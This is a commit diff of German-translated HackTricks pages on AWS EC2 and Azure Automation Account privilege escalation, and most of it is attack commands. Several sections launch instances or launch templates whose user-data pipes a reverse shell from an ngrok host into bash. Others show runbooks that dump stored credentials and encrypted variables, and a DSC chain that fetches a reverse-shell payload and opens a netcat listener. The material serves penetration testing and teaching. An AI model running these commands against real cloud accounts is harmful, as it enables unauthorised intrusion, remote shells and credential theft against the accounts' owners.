Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:45 +00:00
parent e0783f9389
commit f66432cb43
7 changed files with 499 additions and 262 deletions

View File

@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Zugriff über rev shell in Benutzerdaten**
Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Auf diese Weise müssen Sie keine Sicherheitsgruppe angeben.
Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Sie müssen auf diese Weise keine Sicherheitsgruppe angeben.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Sei vorsichtig mit GuardDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest:
Sei vorsichtig mit GuradDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -67,7 +67,7 @@ aws-ecs-privesc.md
Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie in der Lage sein, die Instanz im Cluster zu registrieren und den kommentierten Angriff durchzuführen.
**Potenzielle Auswirkungen:** Direkter Privilegieneskalation zu ECS-Rollen, die an Aufgaben angehängt sind.
**Potenzielle Auswirkungen:** Direkter Privilegienausbau zu ECS-Rollen, die an Aufgaben angehängt sind.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
@@ -80,36 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz verknüpfen:
Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz **verknüpfen:**
- Wenn die Instanz **kein Instanzprofil hat** (`ec2:AssociateIamInstanceProfile`) \*
- Wenn die Instanz **kein Instanzprofil hat** (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und über zusätzliche Berechtigungen oder einen bestimmten Instanzprofilstatus verfügen).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Mit diesen Berechtigungen ist es möglich, das Instanzprofil, das mit einer Instanz verbunden ist, zu ändern. Wenn der Angriff bereits Zugriff auf eine Instanz hatte, kann er Anmeldeinformationen für weitere Instanzprofilrollen stehlen, indem er das damit verbundene ändert.
- Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren** \*
- Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren**.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- oder **ersetzen** Sie das **Instanzprofil** der kompromittierten Instanz (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- oder **ersetzen** Sie das **Instanzprofil** der kompromittierten Instanz (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`und`iam:PassRole`** kann eine **Spot-Instanz** mit einer **angehängten EC2-Rolle** und einer **rev shell** in den **Benutzerdaten** **anfordern**.\
Sobald die Instanz ausgeführt wird, kann er die **IAM-Rolle** **stehlen**.
Sobald die Instanz ausgeführt wird, kann er die **IAM-Rolle stehlen**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev-Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev-Shell ausführen.
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, die **neueste** oder die **Standardversion** zu verwenden, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev Shell ausführen.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch-Konfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoscaling-Gruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Startkonfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoskalierungsgruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der im Launch Configuration oder im Launch Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der in der Launch-Konfiguration oder im Launch-Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -237,7 +235,7 @@ Dieser Weg ist nicht besonders nützlich für privesc, da man einen Benutzername
### `describe-launch-templates`,`describe-launch-template-versions`
Da Launch-Templates versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Templates:
Da Launch-Vorlagen versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Vorlagen:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do

View File

@@ -0,0 +1,239 @@
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Accounts
Für weitere Informationen siehe:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Zusammenfassend ermöglichen diese Berechtigungen das **Erstellen, Ändern und Ausführen von Runbooks** im Automation Account, die Sie verwenden könnten, um **Code** im Kontext des Automation Accounts auszuführen und Berechtigungen auf die zugewiesenen **Managed Identities** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen** zu leaken, die im Automation Account gespeichert sind.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ermöglicht es, den Code eines Runbooks im Automation Account zu ändern mit:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu erhalten, die im Automation Account gespeichert ist.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden.
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/write`** ermöglicht es dem Benutzer, ein Runbook im Automatisierungskonto auszuführen mit:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
```
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/output/read`** ermöglicht es dem Benutzer, die Ausgabe eines Jobs im Automatisierungskonto zu lesen mit:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Wenn keine Runbooks erstellt wurden oder Sie ein neues erstellen möchten, benötigen Sie die **Berechtigungen `Microsoft.Resources/subscriptions/resourcegroups/read` und `Microsoft.Automation/automationAccounts/runbooks/write`**, um dies zu tun mit:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Diese Berechtigung ermöglicht es dem Benutzer, **eine benutzerverwaltete Identität** dem Automatisierungskonto zuzuweisen mit:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/schedules/write`** ist es möglich, einen neuen Zeitplan im Automatisierungskonto zu erstellen, der alle 15 Minuten ausgeführt wird (nicht sehr stealth), indem der folgende Befehl verwendet wird.
Beachten Sie, dass das **minimale Intervall für einen Zeitplan 15 Minuten** beträgt und die **minimale Startzeit 5 Minuten** in der Zukunft liegt.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einen Scheduler einem Runbook zuzuweisen, indem man:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> Im vorherigen Beispiel wurde die Jobplanungs-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/webhooks/write`** ist es möglich, einen neuen Webhook für ein Runbook innerhalb eines Automation-Kontos mit dem folgenden Befehl zu erstellen.
Beachten Sie, dass Sie **die Webhook-URI** mit dem zu verwendenden Token angeben müssen.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, den **Code eines Runbooks** zu aktualisieren, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Diese Berechtigung ermöglicht es dem Benutzer, **eine Quellsteuerung** für das Automatisierungskonto zu konfigurieren, indem er Befehle wie die folgenden verwendet (dies verwendet Github als Beispiel):
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation Account importieren und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es **möglich, Privilegien zu eskalieren**.
Außerdem beachten Sie, dass für die Quellsteuerung in Automation Accounts eine verwaltete Identität mit der Rolle **`Contributor`** erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, kann dies auch konfiguriert werden, indem in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** die **Client-ID** der zu verwendenden benutzerverwalteten Identität festgelegt wird.
> [!TIP]
> Beachten Sie, dass es nicht möglich ist, die Repo-URL einer Quellsteuerung zu ändern, sobald sie erstellt wurde.
### Benutzerdefinierte Laufzeitumgebungen
Wenn ein Automation Account eine benutzerdefinierte Laufzeitumgebung verwendet, könnte es möglich sein, ein benutzerdefiniertes Paket der Laufzeit mit schädlichem Code (wie **einer Hintertür**) zu überschreiben. Auf diese Weise wird, wann immer ein Runbook, das diese benutzerdefinierte Laufzeit verwendet, ausgeführt wird und das benutzerdefinierte Paket lädt, der schädliche Code ausgeführt.
### Kompromittierung der Statuskonfiguration
**Überprüfen Sie den vollständigen Beitrag unter:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Schritt 1 — Dateien erstellen
**Benötigte Dateien:** Zwei PowerShell-Skripte sind erforderlich:
1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist erhältlich auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Nutzlast-Identifikatoren.
- Schritt 2 — Konfigurationsdatei zippen
Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie für die Übertragung zum Azure Storage Account vorzubereiten.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Schritt 3 — Speicher-Kontext festlegen & Hochladen
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Set-AzStorageBlobContent-Cmdlet von Azure hochgeladen.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Schritt 4 — Kali Box vorbereiten
Der Kali-Server lädt das RevPS.ps1-Payload aus einem GitHub-Repository herunter.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Das Skript wird bearbeitet, um die Ziel-Windows-VM und den Port für die Reverse-Shell anzugeben.
- Schritt 5 — Konfigurationsdatei veröffentlichen
Die Konfigurationsdatei wird ausgeführt, was dazu führt, dass das Reverse-Shell-Skript an dem angegebenen Ort auf der Windows-VM bereitgestellt wird.
- Schritt 6 — Payload hosten und Listener einrichten
Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen mit einem Netcat-Listener, um eingehende Verbindungen zu erfassen.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Die geplante Aufgabe führt die Nutzlast aus und erreicht SYSTEM-Ebene Berechtigungen.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,170 +0,0 @@
# Az - Automation Account
{{#include ../../../../banners/hacktricks-training.md}}
## Grundinformationen
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation bietet einen cloudbasierten Automatisierungs-, Betriebssystem-Updates- und Konfigurationsdienst, der eine konsistente Verwaltung in Ihren Azure- und Nicht-Azure-Umgebungen unterstützt. Es umfasst Prozessautomatisierung, Konfigurationsmanagement, Update-Management, gemeinsame Funktionen und heterogene Merkmale.
Diese sind wie "**geplante Aufgaben**" in Azure, die es Ihnen ermöglichen, Dinge (Aktionen oder sogar Skripte) auszuführen, um die **Azure-Umgebung** zu **verwalten**, zu überprüfen und zu konfigurieren.
### Run As-Konto
Wenn **Run as Account** verwendet wird, erstellt es eine Azure AD **Anwendung** mit einem selbstsignierten Zertifikat, erstellt einen **Service Principal** und weist dem Konto die Rolle **Contributor** in der **aktuellen Abonnements** zu (viele Berechtigungen).\
Microsoft empfiehlt die Verwendung einer **Managed Identity** für das Automation Account.
> [!WARNING]
> Dies wird am **30. September 2023 entfernt und durch Managed Identities ersetzt.**
## Runbooks & Jobs
**Runbooks** ermöglichen es Ihnen, **beliebigen PowerShell**-Code auszuführen. Dies könnte von einem **Angreifer missbraucht** werden, um die Berechtigungen des **angehängten Principals** (falls vorhanden) zu stehlen.\
Im **Code** der **Runbooks** könnten Sie auch **sensible Informationen** (wie Anmeldeinformationen) finden.
Wenn Sie die **Jobs** **lesen** können, tun Sie dies, da sie die **Ausgabe** des Laufs (potenziell **sensible Informationen**) **enthalten**.
Gehen Sie zu `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
### Hybrid Worker
Ein Runbook kann in einem **Container innerhalb von Azure** oder in einem **Hybrid Worker** (nicht-Azure-Maschine) ausgeführt werden.\
Der **Log Analytics Agent** wird auf der VM bereitgestellt, um sie als Hybrid Worker zu registrieren.\
Die Hybrid Worker-Jobs laufen als **SYSTEM** unter Windows und als **nxautomation**-Konto unter Linux.\
Jeder Hybrid Worker ist in einer **Hybrid Worker Group** registriert.
Daher, wenn Sie wählen können, ein **Runbook** in einem **Windows Hybrid Worker** auszuführen, führen Sie **beliebige Befehle** auf einer externen Maschine als **System** aus (schöne Pivot-Technik).
## Kompromittierter Statuskonfiguration (SC)
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** ist ein Azure-Konfigurationsmanagementdienst, der es Ihnen ermöglicht, PowerShell Desired State Configuration (DSC) [Konfigurationen](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) für Knoten in jeder Cloud oder in einem lokalen Rechenzentrum zu schreiben, zu verwalten und zu kompilieren. Der Dienst importiert auch [DSC-Ressourcen](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) und weist Konfigurationen den Zielknoten zu, alles in der Cloud. Sie können auf Azure Automation State Configuration im Azure-Portal zugreifen, indem Sie **State configuration (DSC)** unter **Configuration Management** auswählen.
**Sensible Informationen** könnten in diesen Konfigurationen gefunden werden.
### RCE
Es ist möglich, SC zu missbrauchen, um beliebige Skripte auf den verwalteten Maschinen auszuführen.
{{#ref}}
az-state-configuration-rce.md
{{#endref}}
## Enumeration
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### Erstellen eines Runbooks
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Exfiltrieren von Anmeldeinformationen und Variablen, die in einem Automatisierungskonto über ein Run Book definiert sind
```powershell
# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness
# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> Sie könnten dasselbe tun, indem Sie ein vorhandenes Run Book ändern, und zwar über die Webkonsole.
### Schritte zur Einrichtung einer automatisierten Erstellung von hochprivilegierten Benutzern
#### 1. Initialisieren eines Automatisierungskontos
- **Aktion erforderlich:** Erstellen Sie ein neues Automatisierungskonto.
- **Spezifische Einstellung:** Stellen Sie sicher, dass "Azure Run As-Konto erstellen" aktiviert ist.
#### 2. Importieren und Einrichten des Runbooks
- **Quelle:** Laden Sie das Beispiel-Runbook aus dem [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst) herunter.
- **Erforderliche Aktionen:**
- Importieren Sie das Runbook in das Automatisierungskonto.
- Veröffentlichen Sie das Runbook, um es ausführbar zu machen.
- Fügen Sie dem Runbook ein Webhook hinzu, um externe Trigger zu ermöglichen.
#### 3. Konfigurieren des AzureAD-Moduls
